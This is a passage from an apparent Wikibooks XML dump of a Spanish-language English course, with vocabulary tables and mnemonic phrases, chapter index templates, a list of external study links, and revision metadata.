| Sting || Picar, punzar || Al cantante '''Sting''' lo '''pica''' una abeja en un fe'''stín'''. 
|-
| Stink || Apestar || El niño Agu'''stin k'''e no se baña '''apesta''' hasta aquí.
|-
| Strike || Pegar, hacer huelga || Cuando el béisbolista no le logra '''pegar''' a la pelota, le gritan ¡'''strike''' 1!
|-
| Steal || Robar || E'''ste al'''guacil agarra a mucho pillo que le gusta '''robar'''. 
|-
| Swear || Jurar || Un tipo tan malo que hasta '''su e'''rmano Jo'''sué Ar'''mando '''jura''' y per'''jura''' que no lo conoce.
|-
| Sweep || Barrer || La escoba supo '''barrer''' como ningún otro invento  '''su ép'''oca. 
|-
| Swim || Nadar || Un niño que no conoce el mar pero en '''su im'''aginación el es el mejor para '''nadar'''.
|-
| Swing || Oscilar, columpiar || Una mujer que baila con '''swing''', y hace columpiar al '''sui'''zo con el que '''baila'''.
|-
| Tear || Rasgar || Un tigre al '''rasgar''' bolsas de té, '''te ar'''rastró y '''te ar'''uño con sus garras.
|}
&lt;noinclude&gt;{{Inglés}}&lt;/noinclude&gt;
{{AutoCat}}</text>
      <sha1>82h826gjqsl7e693jchn59whzad8ifw</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Vocabulario/Dormitorio</title>
    <ns>0</ns>
    <id>33236</id>
    <revision>
      <id>429838</id>
      <parentid>164700</parentid>
      <timestamp>2026-08-01T22:04:01Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429838</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2309" sha1="h1qfi9bgffq3scntmi13tw62iouqpw5" xml:space="preserve">{| class=&quot;wikitable sortable&quot;
|-
! Inglés !! Español !! Frase de relación____________________________________________________.
|-
| Carpet || Alfombra || Un vendedor de '''alfombra'''s arrugadas ya que no las carga en una '''carpet'''a
|-
| Pillow || Almohada || Un famoso '''pillo''' que le gustaba robarse las '''almohadas''' de sus amantes.
|-
| Bolster || Almohadón || El volei'''bol ester'''colero se juega con un '''almohadón''' en aquél ár'''bol, es ter'''rible ese olor.
|-
| Cushion || Cojín || Con un '''cojín''' es difícil hacer per'''cushión''' y no hay dis'''cushión'''.
|-
| Wardrobe || Armario || En el '''armario''' vive un monstruo llamado Ed'''wardo be'''rde que gusta del h'''ard ro'''ck.
|-
| Armchair || Sillón || Un hablador que '''arma char'''la hasta con un '''sillón''' da mu'''cha ir'''a.
|-
| Bedspread || Colcha || Eliza'''bed''' '''pre'''para todas las mañanas al '''bespertad''' la '''colcha'''.
|-
| Mattress || Colchón || Te dicen tus padres y tu '''madress''' que te levantes de ese '''colchón''' dormilón.
|-
| drawer || Cajón || En un '''cajón''' hay un gran '''drau'''gón que da cáte'''dra ver'''aniega. 
|-
| Quilt || Edredón || Un señor tan dormilón que nadie se atreve a '''quilt'''arle el '''edredón'''.
|-
| Jewel-case || Joyero || Un mon'''je wele case'''ras y así sabe donde esconden el '''joyero''' de la señora.
|-
| Reading lamp || Lámpara (en la mesa de noche) || '''Real'''mente '''leer''' sin '''lámpara''' es imposible.
|-
| bunk beds || Litera || En el clu'''b un bed'''uino no duerme en su '''litera''', porque es un club p'''unk'''.
|-
| Bedside table || Mesita de noche || Eliza'''bed si de'''sea puede dormir en la '''mesa de noche'''.
|-
| Coat hanger || Percha || En casa cuelgan la barba'''coa tan ge'''nerosamente en el perchero.
|-
| Alarm clock || Reloj despertador || Un '''reloj despertador''' que tiene un gallo de '''alarm'''a que hace '''clock'''orokó.
|-
| Bedding || Ropa de cama || Eliza'''bed ding'''iere su '''ropa de cama''' cuando se despierta con hambre de noche.
|-
| Sheet || Sábana || Para mantener el color de un co'''she et'''ernamente cúbralo con una sabana.
|-
| Dressing table || Tocador || Mi pa'''dres''' es'''ta ble'''ció que a este '''tocador''' se le pudre la '''tabla'''.
|}

{{AutoCat}}</text>
      <sha1>h1qfi9bgffq3scntmi13tw62iouqpw5</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Vocabulario</title>
    <ns>0</ns>
    <id>33816</id>
    <revision>
      <id>429927</id>
      <parentid>166549</parentid>
      <timestamp>2026-08-01T22:09:17Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429927</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1236" sha1="1lkjq2w181dzaqj3px09b3rebufp90d" xml:space="preserve">{{+Capítulo
|libro     = Inglés
|capítulo  = Vocabulario
|tema1     = 
|tema2     = 
|tema3     = Adjetivos calificativos
|tema4     = 
|tema5     = Animales
|tema6     = Buscando empleo
|tema7     = Cantidades
|tema8     = Colores
|tema9     = De compras
|tema10    = De negocios
|tema11    = De turismo
|tema12    = 
|tema13    = Dormitorio
|tema14    = El clima
|tema15    = El estudiante
|tema16    = El hogar
|tema17    = El tiempo
|tema18    = En el restaurante
|tema19    = En la oficina
|tema20    = Festivos
|tema21    = 
|tema22    = La comida
|tema23    = La familia
|tema24    = Los oficios
|tema25    = Los sentidos
|tema26    = Modismos
|tema27    = Numerales
|tema28    = 
|tema29    = Palabras especiales
|tema30    = Partes del cuerpo
|tema31    = Partitivos
|tema32    = Sobre los días y los meses
|tema33    = 
|tema34    = Verbos
|tema35    = Verbos irregulares
|tema36    = Verbos regulares
|tema37    = Verbos transitivos e intransitivos
|tema38    = 
|tema39    = 
|tema40    = Glosario de consulta
}} 
&lt;noinclude&gt;{{Renglóndoble|[[Inglés/Vocabulario/Texto completo|'''Texto completo de este capítulo''']]|Esta página contiene todo el texto del capítulo de '''«Vocabulario»'''}}
{{Inglés}}
&lt;/noinclude&gt;</text>
      <sha1>1lkjq2w181dzaqj3px09b3rebufp90d</sha1>
    </revision>
    <revision>
      <id>429939</id>
      <parentid>429927</parentid>
      <timestamp>2026-08-01T22:13:04Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <origin>429939</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1236" sha1="d4w2gccbwtg0mgs5hb1ni573i9qbnej" xml:space="preserve">{{+Capítulo
|libro     = Inglés
|capítulo  = Vocabulario
|tema1     = 
|tema2     = 
|tema3     = Adjetivos calificativos
|tema4     = 
|tema5     = Animales
|tema6     = Buscando empleo
|tema7     = Cantidades
|tema8     = Colores
|tema9     = De compras
|tema10    = De negocios
|tema11    = De turismo
|tema12    = 
|tema13    = Dormitorio
|tema14    = El clima
|tema15    = El estudiante
|tema16    = El hogar
|tema17    = El tiempo
|tema18    = En el restaurante
|tema19    = En la oficina
|tema20    = Festivos
|tema21    = 
|tema22    = La comida
|tema23    = La familia
|tema24    = Los oficios
|tema25    = Los sentidos
|tema26    = Modismos
|tema27    = Numerales
|tema28    = 
|tema29    = Palabras especiales
|tema30    = Partes del cuerpo
|tema31    = Partitivos
|tema32    = Sobre los días y los meses
|tema33    = 
|tema34    = Verbos
|tema35    = Verbos irregulares
|tema36    = Verbos regulares
|tema37    = Verbos transitivos e intransitivos
|tema38    = 
|tema39    = 
|tema40    = Glosario de consulta
}} 
&lt;noinclude&gt;{{Renglóndoble|[[Inglés/Vocabulario/Texto completo|'''Texto completo de este capítulo''']]|Esta página contiene todo el texto del capítulo de '''«Vocabulario»'''}}
{{AutoCat}}
&lt;/noinclude&gt;</text>
      <sha1>d4w2gccbwtg0mgs5hb1ni573i9qbnej</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Anexo</title>
    <ns>0</ns>
    <id>33817</id>
    <revision>
      <id>429869</id>
      <parentid>164811</parentid>
      <timestamp>2026-08-01T22:07:59Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429869</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="745" sha1="jmjjr6vyybwxigb29dgj4vfyajr5rkt" xml:space="preserve">{{+Capítulo
|libro     =Inglés
|capítulo  =Anexo
|tema1     =Breve historia del inglés
|tema2     =Inglés americano
|tema3     =
|tema4     =
|tema5     =
|tema6     =
|tema7     =
|tema8     =
|tema9     =
|tema10    =
|tema11    =
|tema12    =
|tema13    =
|tema14    =
|tema15    =
|tema16    =
|tema17    =
|tema18    =
|tema19    =
|tema20    =
|tema21    =
|tema22    =
|tema23    =
|tema24    =
|tema25    =
|tema26    =
|tema27    =
|tema28    =
|tema29    =
|tema30    =
|plantilla = Inglés
}}
&lt;noinclude&gt;{{Renglóndoble|[[Inglés/Anexo/Texto completo|'''Texto completo de este capítulo''']]|Esta página contiene todo el texto del capítulo de '''«Anexo»'''}}
{{Inglés}}
&lt;/noinclude&gt;
[[Categoría:Inglés|Anexo]]

{{AutoCat}}</text>
      <sha1>jmjjr6vyybwxigb29dgj4vfyajr5rkt</sha1>
    </revision>
    <revision>
      <id>429872</id>
      <parentid>429869</parentid>
      <timestamp>2026-08-01T22:08:59Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429872</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="715" sha1="9f44cw3p4r2oh1fpr3rkby4yvm5iuek" xml:space="preserve">{{+Capítulo
|libro     =Inglés
|capítulo  =Anexo
|tema1     =Breve historia del inglés
|tema2     =Inglés americano
|tema3     =
|tema4     =
|tema5     =
|tema6     =
|tema7     =
|tema8     =
|tema9     =
|tema10    =
|tema11    =
|tema12    =
|tema13    =
|tema14    =
|tema15    =
|tema16    =
|tema17    =
|tema18    =
|tema19    =
|tema20    =
|tema21    =
|tema22    =
|tema23    =
|tema24    =
|tema25    =
|tema26    =
|tema27    =
|tema28    =
|tema29    =
|tema30    =
|plantilla = Inglés
}}
&lt;noinclude&gt;{{Renglóndoble|[[Inglés/Anexo/Texto completo|'''Texto completo de este capítulo''']]|Esta página contiene todo el texto del capítulo de '''«Anexo»'''}}
{{Inglés}}
&lt;/noinclude&gt;
{{AutoCat}}</text>
      <sha1>9f44cw3p4r2oh1fpr3rkby4yvm5iuek</sha1>
    </revision>
    <revision>
      <id>429936</id>
      <parentid>429872</parentid>
      <timestamp>2026-08-01T22:10:30Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <origin>429936</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="714" sha1="b3b4f8q9m936l03ixwfsrx04ib6d1bo" xml:space="preserve">{{+Capítulo
|libro     =Inglés
|capítulo  =Anexo
|tema1     =Breve historia del inglés
|tema2     =Inglés americano
|tema3     =
|tema4     =
|tema5     =
|tema6     =
|tema7     =
|tema8     =
|tema9     =
|tema10    =
|tema11    =
|tema12    =
|tema13    =
|tema14    =
|tema15    =
|tema16    =
|tema17    =
|tema18    =
|tema19    =
|tema20    =
|tema21    =
|tema22    =
|tema23    =
|tema24    =
|tema25    =
|tema26    =
|tema27    =
|tema28    =
|tema29    =
|tema30    =
|plantilla = Inglés
}}
&lt;noinclude&gt;{{Renglóndoble|[[Inglés/Anexo/Texto completo|'''Texto completo de este capítulo''']]|Esta página contiene todo el texto del capítulo de '''«Anexo»'''}}
{{Inglés}}{{AutoCat}}
&lt;/noinclude&gt;</text>
      <sha1>b3b4f8q9m936l03ixwfsrx04ib6d1bo</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Inglés antiguo</title>
    <ns>0</ns>
    <id>33818</id>
    <revision>
      <id>429867</id>
      <parentid>164687</parentid>
      <timestamp>2026-08-01T22:07:31Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429867</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="758" sha1="koejm4c96jsyrnjlkhkxutlo02tpg3g" xml:space="preserve">{{+Capítulo
|libro     =Inglés
|capítulo  =Inglés antiguo
|tema1     =
|tema2     =Introducción
|tema3     =El alfabeto
|tema4     =
|tema5     =El sustantivo
|tema6     =
|tema7     =
|tema8     =
|tema9     =
|tema10    =
|tema11    =
|tema12    =
|tema13    =
|tema14    =
|tema15    =
|tema16    =
|tema17    =
|tema18    =
|tema19    =
|tema20    =
|tema21    =
|tema22    =
|tema23    =
|tema24    =
|tema25    =
|tema26    =
|tema27    =
|tema28    =
|tema29    =
|tema30    =
}}
&lt;noinclude&gt;{{Renglóndoble|[[Inglés/Inglés antiguo/Texto completo|'''Texto completo de este capítulo''']]|Esta página contiene todo el texto del capítulo de '''«Inglés antiguo»'''}}
{{Inglés}}
&lt;/noinclude&gt;
[[Categoría:Inglés|Inglés antiguo]]

{{AutoCat}}</text>
      <sha1>koejm4c96jsyrnjlkhkxutlo02tpg3g</sha1>
    </revision>
    <revision>
      <id>429899</id>
      <parentid>429867</parentid>
      <timestamp>2026-08-01T22:09:10Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429899</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="718" sha1="mlis9mw09x5sq9b7qjy4lctdr75cypo" xml:space="preserve">{{+Capítulo
|libro     =Inglés
|capítulo  =Inglés antiguo
|tema1     =
|tema2     =Introducción
|tema3     =El alfabeto
|tema4     =
|tema5     =El sustantivo
|tema6     =
|tema7     =
|tema8     =
|tema9     =
|tema10    =
|tema11    =
|tema12    =
|tema13    =
|tema14    =
|tema15    =
|tema16    =
|tema17    =
|tema18    =
|tema19    =
|tema20    =
|tema21    =
|tema22    =
|tema23    =
|tema24    =
|tema25    =
|tema26    =
|tema27    =
|tema28    =
|tema29    =
|tema30    =
}}
&lt;noinclude&gt;{{Renglóndoble|[[Inglés/Inglés antiguo/Texto completo|'''Texto completo de este capítulo''']]|Esta página contiene todo el texto del capítulo de '''«Inglés antiguo»'''}}
{{Inglés}}
&lt;/noinclude&gt;
{{AutoCat}}</text>
      <sha1>mlis9mw09x5sq9b7qjy4lctdr75cypo</sha1>
    </revision>
    <revision>
      <id>429937</id>
      <parentid>429899</parentid>
      <timestamp>2026-08-01T22:10:57Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <origin>429937</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="717" sha1="n3rvmpzupxjpd8r6k89m4nz83fiqpc7" xml:space="preserve">{{+Capítulo
|libro     =Inglés
|capítulo  =Inglés antiguo
|tema1     =
|tema2     =Introducción
|tema3     =El alfabeto
|tema4     =
|tema5     =El sustantivo
|tema6     =
|tema7     =
|tema8     =
|tema9     =
|tema10    =
|tema11    =
|tema12    =
|tema13    =
|tema14    =
|tema15    =
|tema16    =
|tema17    =
|tema18    =
|tema19    =
|tema20    =
|tema21    =
|tema22    =
|tema23    =
|tema24    =
|tema25    =
|tema26    =
|tema27    =
|tema28    =
|tema29    =
|tema30    =
}}
&lt;noinclude&gt;{{Renglóndoble|[[Inglés/Inglés antiguo/Texto completo|'''Texto completo de este capítulo''']]|Esta página contiene todo el texto del capítulo de '''«Inglés antiguo»'''}}
{{Inglés}}{{AutoCat}}
&lt;/noinclude&gt;</text>
      <sha1>n3rvmpzupxjpd8r6k89m4nz83fiqpc7</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Enlaces</title>
    <ns>0</ns>
    <id>33821</id>
    <revision>
      <id>429868</id>
      <parentid>314643</parentid>
      <timestamp>2026-08-01T22:07:47Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429868</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3563" sha1="suwn0k63ghrvhmx9h3ugo8kze1o39ua" xml:space="preserve">{{-wikilibros|:en:English Wikibook|English}}
{{-wikilibros|:en:EAL|EAL}}
{{-web
|título      = The American Heritage® Dictionary of the English Language
|url         = http://www.bartleby.com/
|autor       = 
|fecha       = 
|editorial   = 
|idioma      = 
|fechaacceso = 30 de diciembre de 2010
|comentario  = Un excelente diccionario (completamente en inglés) con más de 90 000 entradas y 70 000 archivos de audio para escuchar la pronunciación de las palabras. }}
{{-web
|título      = Authentic American Pronunciation
|url         = http://evaeaston.com/pr/home.html
|autor       = 
|fecha       = 
|editorial   = 
|idioma      = 
|fechaacceso = 30 de diciembre de 2010
|comentario  = Página con audio incluido para practicar la pronunciación.}}
{{-web
|título      = Clear English Grammar 
|url         = http://linguapress.com/grammar/index.htm
|autor       = 
|fecha       = 
|editorial   = 
|idioma      = 
|fechaacceso = 24 de noviembre de 2016
|comentario  = Una gramática inglesa clara con muchos ejemplos.}}
{{-web
|título      = English Grammar Online 4u
|url         = http://www.ego4u.com/en/cram-up/grammar
|autor       = 
|fecha       = 
|editorial   = 
|idioma      = 
|fechaacceso = 30 de diciembre de 2010
|comentario  = Página muy completa con toda clase de temas de la gramática inglesa.}}
{{-web
|título      = Grammar Notes
|url         = http://www.rong-chang.com 
|autor       = 
|fecha       = 
|editorial   = 
|idioma      = 
|fechaacceso = 30 de diciembre de 2010
|comentario  = Notas de gramática inglesa, incluyendo temas como frases de transición, partes del discurso, y operaciones matemáticas.}}
{{-web
|título      = Grammar Handbook
|url         = http://www.english.uiuc.edu/cws/wworkshop/writer_resources/grammar_handbook/grammar_handbook.htm
|autor       = 
|fecha       = 
|editorial   = 
|idioma      = 
|fechaacceso = 30 de diciembre de 2010
|comentario  = Contiene gran cantidad de material de buena calidad a cerca de la gramática inglesa}}
{{-web
|título      =  English the Easy Way
|url         = http://www.english-the-easy-way.com
|autor       = 
|fecha       = 
|editorial   = 
|idioma      = 
|fechaacceso = 30 de diciembre de 2010
|comentario  = Para estudiantes de ESL e incluso estudiantes Angloparlantes, donde se exponen temas complicados de la gramática inglesa.}}
{{-web
|título      = English Language Guide
|url         = http://www.languageguide.org/english/esp
|autor       = 
|fecha       = 
|editorial   = 
|idioma      = 
|fechaacceso = 30 de diciembre de 2010
|comentario  = Vocabulario basado en imagenes. Incluye archivos de audio}}
{{-web
|título      = The English Grammar Book
|url         = http://www.englishpage.com/grammar 
|autor       = 
|fecha       = 
|editorial   = 
|idioma      = 
|fechaacceso = 30 de diciembre de 2010
|comentario  = Un libro en linea con material de alta calidad sobre gramática inglesa.}}
{{-web
|título      = Dennis Oliver's ESL Idiom Page
|url         = http://www.eslcafe.com/idioms
|autor       = 
|fecha       = 
|editorial   = 
|idioma      = 
|fechaacceso = 30 de diciembre de 2010
|comentario  = Página con una gran cantidad de &quot;''idioms''&quot; y ejemplos de su uso.}}
{{-web
|título      = Babylon Online
|url         = http://online.babylon.com/combo/index.html?word=&amp;lang=3&amp;type=hp 
|autor       = 
|fecha       = 
|editorial   = 
|idioma      = 
|fechaacceso = 30 de diciembre de 2010
|comentario  = Un diccionario inglés-español en línea.}}

&lt;noinclude&gt;{{Inglés}}&lt;/noinclude&gt;
[[Categoría:Inglés| Enlaces]]

{{AutoCat}}</text>
      <sha1>suwn0k63ghrvhmx9h3ugo8kze1o39ua</sha1>
    </revision>
    <revision>
      <id>429871</id>
      <parentid>429868</parentid>
      <timestamp>2026-08-01T22:08:59Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429871</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3530" sha1="hhjclqlv4cqlj3f2gg1nwnuwupte8vd" xml:space="preserve">{{-wikilibros|:en:English Wikibook|English}}
{{-wikilibros|:en:EAL|EAL}}
{{-web
|título      = The American Heritage® Dictionary of the English Language
|url         = http://www.bartleby.com/
|autor       = 
|fecha       = 
|editorial   = 
|idioma      = 
|fechaacceso = 30 de diciembre de 2010
|comentario  = Un excelente diccionario (completamente en inglés) con más de 90 000 entradas y 70 000 archivos de audio para escuchar la pronunciación de las palabras. }}
{{-web
|título      = Authentic American Pronunciation
|url         = http://evaeaston.com/pr/home.html
|autor       = 
|fecha       = 
|editorial   = 
|idioma      = 
|fechaacceso = 30 de diciembre de 2010
|comentario  = Página con audio incluido para practicar la pronunciación.}}
{{-web
|título      = Clear English Grammar 
|url         = http://linguapress.com/grammar/index.htm
|autor       = 
|fecha       = 
|editorial   = 
|idioma      = 
|fechaacceso = 24 de noviembre de 2016
|comentario  = Una gramática inglesa clara con muchos ejemplos.}}
{{-web
|título      = English Grammar Online 4u
|url         = http://www.ego4u.com/en/cram-up/grammar
|autor       = 
|fecha       = 
|editorial   = 
|idioma      = 
|fechaacceso = 30 de diciembre de 2010
|comentario  = Página muy completa con toda clase de temas de la gramática inglesa.}}
{{-web
|título      = Grammar Notes
|url         = http://www.rong-chang.com 
|autor       = 
|fecha       = 
|editorial   = 
|idioma      = 
|fechaacceso = 30 de diciembre de 2010
|comentario  = Notas de gramática inglesa, incluyendo temas como frases de transición, partes del discurso, y operaciones matemáticas.}}
{{-web
|título      = Grammar Handbook
|url         = http://www.english.uiuc.edu/cws/wworkshop/writer_resources/grammar_handbook/grammar_handbook.htm
|autor       = 
|fecha       = 
|editorial   = 
|idioma      = 
|fechaacceso = 30 de diciembre de 2010
|comentario  = Contiene gran cantidad de material de buena calidad a cerca de la gramática inglesa}}
{{-web
|título      =  English the Easy Way
|url         = http://www.english-the-easy-way.com
|autor       = 
|fecha       = 
|editorial   = 
|idioma      = 
|fechaacceso = 30 de diciembre de 2010
|comentario  = Para estudiantes de ESL e incluso estudiantes Angloparlantes, donde se exponen temas complicados de la gramática inglesa.}}
{{-web
|título      = English Language Guide
|url         = http://www.languageguide.org/english/esp
|autor       = 
|fecha       = 
|editorial   = 
|idioma      = 
|fechaacceso = 30 de diciembre de 2010
|comentario  = Vocabulario basado en imagenes. Incluye archivos de audio}}
{{-web
|título      = The English Grammar Book
|url         = http://www.englishpage.com/grammar 
|autor       = 
|fecha       = 
|editorial   = 
|idioma      = 
|fechaacceso = 30 de diciembre de 2010
|comentario  = Un libro en linea con material de alta calidad sobre gramática inglesa.}}
{{-web
|título      = Dennis Oliver's ESL Idiom Page
|url         = http://www.eslcafe.com/idioms
|autor       = 
|fecha       = 
|editorial   = 
|idioma      = 
|fechaacceso = 30 de diciembre de 2010
|comentario  = Página con una gran cantidad de &quot;''idioms''&quot; y ejemplos de su uso.}}
{{-web
|título      = Babylon Online
|url         = http://online.babylon.com/combo/index.html?word=&amp;lang=3&amp;type=hp 
|autor       = 
|fecha       = 
|editorial   = 
|idioma      = 
|fechaacceso = 30 de diciembre de 2010
|comentario  = Un diccionario inglés-español en línea.}}

&lt;noinclude&gt;{{Inglés}}&lt;/noinclude&gt;
{{AutoCat}}</text>
      <sha1>hhjclqlv4cqlj3f2gg1nwnuwupte8vd</sha1>
    </revision>
    <revision>
      <id>429938</id>
      <parentid>429871</parentid>
      <timestamp>2026-08-01T22:11:20Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <origin>429938</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3529" sha1="759bcea90ahno6zex3fb1skvqwstt4f" xml:space="preserve">{{-wikilibros|:en:English Wikibook|English}}
{{-wikilibros|:en:EAL|EAL}}
{{-web
|título      = The American Heritage® Dictionary of the English Language
|url         = http://www.bartleby.com/
|autor       = 
|fecha       = 
|editorial   = 
|idioma      = 
|fechaacceso = 30 de diciembre de 2010
|comentario  = Un excelente diccionario (completamente en inglés) con más de 90 000 entradas y 70 000 archivos de audio para escuchar la pronunciación de las palabras. }}
{{-web
|título      = Authentic American Pronunciation
|url         = http://evaeaston.com/pr/home.html
|autor       = 
|fecha       = 
|editorial   = 
|idioma      = 
|fechaacceso = 30 de diciembre de 2010
|comentario  = Página con audio incluido para practicar la pronunciación.}}
{{-web
|título      = Clear English Grammar 
|url         = http://linguapress.com/grammar/index.htm
|autor       = 
|fecha       = 
|editorial   = 
|idioma      = 
|fechaacceso = 24 de noviembre de 2016
|comentario  = Una gramática inglesa clara con muchos ejemplos.}}
{{-web
|título      = English Grammar Online 4u
|url         = http://www.ego4u.com/en/cram-up/grammar
|autor       = 
|fecha       = 
|editorial   = 
|idioma      = 
|fechaacceso = 30 de diciembre de 2010
|comentario  = Página muy completa con toda clase de temas de la gramática inglesa.}}
{{-web
|título      = Grammar Notes
|url         = http://www.rong-chang.com 
|autor       = 
|fecha       = 
|editorial   = 
|idioma      = 
|fechaacceso = 30 de diciembre de 2010
|comentario  = Notas de gramática inglesa, incluyendo temas como frases de transición, partes del discurso, y operaciones matemáticas.}}
{{-web
|título      = Grammar Handbook
|url         = http://www.english.uiuc.edu/cws/wworkshop/writer_resources/grammar_handbook/grammar_handbook.htm
|autor       = 
|fecha       = 
|editorial   = 
|idioma      = 
|fechaacceso = 30 de diciembre de 2010
|comentario  = Contiene gran cantidad de material de buena calidad a cerca de la gramática inglesa}}
{{-web
|título      =  English the Easy Way
|url         = http://www.english-the-easy-way.com
|autor       = 
|fecha       = 
|editorial   = 
|idioma      = 
|fechaacceso = 30 de diciembre de 2010
|comentario  = Para estudiantes de ESL e incluso estudiantes Angloparlantes, donde se exponen temas complicados de la gramática inglesa.}}
{{-web
|título      = English Language Guide
|url         = http://www.languageguide.org/english/esp
|autor       = 
|fecha       = 
|editorial   = 
|idioma      = 
|fechaacceso = 30 de diciembre de 2010
|comentario  = Vocabulario basado en imagenes. Incluye archivos de audio}}
{{-web
|título      = The English Grammar Book
|url         = http://www.englishpage.com/grammar 
|autor       = 
|fecha       = 
|editorial   = 
|idioma      = 
|fechaacceso = 30 de diciembre de 2010
|comentario  = Un libro en linea con material de alta calidad sobre gramática inglesa.}}
{{-web
|título      = Dennis Oliver's ESL Idiom Page
|url         = http://www.eslcafe.com/idioms
|autor       = 
|fecha       = 
|editorial   = 
|idioma      = 
|fechaacceso = 30 de diciembre de 2010
|comentario  = Página con una gran cantidad de &quot;''idioms''&quot; y ejemplos de su uso.}}
{{-web
|título      = Babylon Online
|url         = http://online.babylon.com/combo/index.html?word=&amp;lang=3&amp;type=hp 
|autor       = 
|fecha       = 
|editorial   = 
|idioma      = 
|fechaacceso = 30 de diciembre de 2010
|comentario  = Un diccionario inglés-español en línea.}}

&lt;noinclude&gt;{{Inglés}}{{AutoCat}}&lt;/noinclude&gt;</text>
      <sha1>759bcea90ahno6zex3fb1skvqwstt4f</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Vocabulario/Adjetivos calificativos</title>
    <ns>0</ns>
    <id>33822</id>
    <revision>
      <id>429830</id>
      <parentid>364621</parentid>
      <timestamp>2026-08-01T22:03:23Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429830</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1200" sha1="osiw1f8hsv0ln7pag74wb8694nikc00" xml:space="preserve">&lt;noinclude&gt;{{+ÍndiceSección}}&lt;/noinclude&gt;
{| class=&quot;wikitable sortable&quot;
!Inglés !! Pronunciación !! Español
|-
|Colourful || /ˈkʌləfʊl/ || Colorido
|-
|Spontaneous || /spɒnˈteɪnɪəs/ || Espontáneo
|-
|Peaceful || /ˈpiːsfʊl/ || Pacífico
|-
|Dramatic || /drəˈmætɪk/ || Dramático
|-
|Amusing || /əˈmjuːzɪŋ/ || Entretenido
|-
|Unusual || /ʌnˈjuːʒʊəl/ || Inusual
|-
|Striking || /ˈstraɪkɪŋ/ || Sorprendente
|-
|Romantic || /rəʊˈmæntɪk/ || Romántico
|-
|Disturbing || /dɪsˈtɜːbɪŋ/ || Inquietante
|-
|Natural || /ˈnætʃrəl/ || Natural
|-
|Moving || /ˈmuːvɪŋ/ || Moviéndose
|-
|Powerful || /ˈpaʊəfʊl/ || Poderoso
|-
|Injured || /ˈɪndʒəd/ || Lesionado
|-
|Disabled || /dɪˈseɪbəld/ || Discapacitado
|-
|Allergic || /əˈlɜːdʒɪk/ || Alérgico
|-
|Exhausted || /ɪɡˈzoːstɪd/ || Exhausto
|-
|Dizzy || /ˈdɪzɪ/ || Mareado
|-
|Poisonous ||  /ˈpɔɪzənəs/ || Venenoso
|-
|Painful || /ˈpeɪnfʊl/ || Doloroso
|-
|Fatal || /ˈfeɪtəl/ || Fatal
|-
|Deaf || /dɛf/ || Sordo
|-
|Blind || /blaɪnd/ || Ciego
|-
|Friendly || /ˈfrɛndlɪ/ || Amistoso
|-
|Lazy || /ˈleɪzɪ/ ||Perezoso
|-
|Funny || /ˈfʌnɪ/ || Divertido
|-

{{AutoCat}}</text>
      <sha1>osiw1f8hsv0ln7pag74wb8694nikc00</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Pronunciación</title>
    <ns>0</ns>
    <id>33824</id>
    <revision>
      <id>429920</id>
      <parentid>164816</parentid>
      <timestamp>2026-08-01T22:09:15Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429920</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="696" sha1="ak1ikuhs0rdd9qe9ywn4y54xnloaqy3" xml:space="preserve">{{+Capítulo
|libro     =Inglés
|capítulo  =Pronunciación
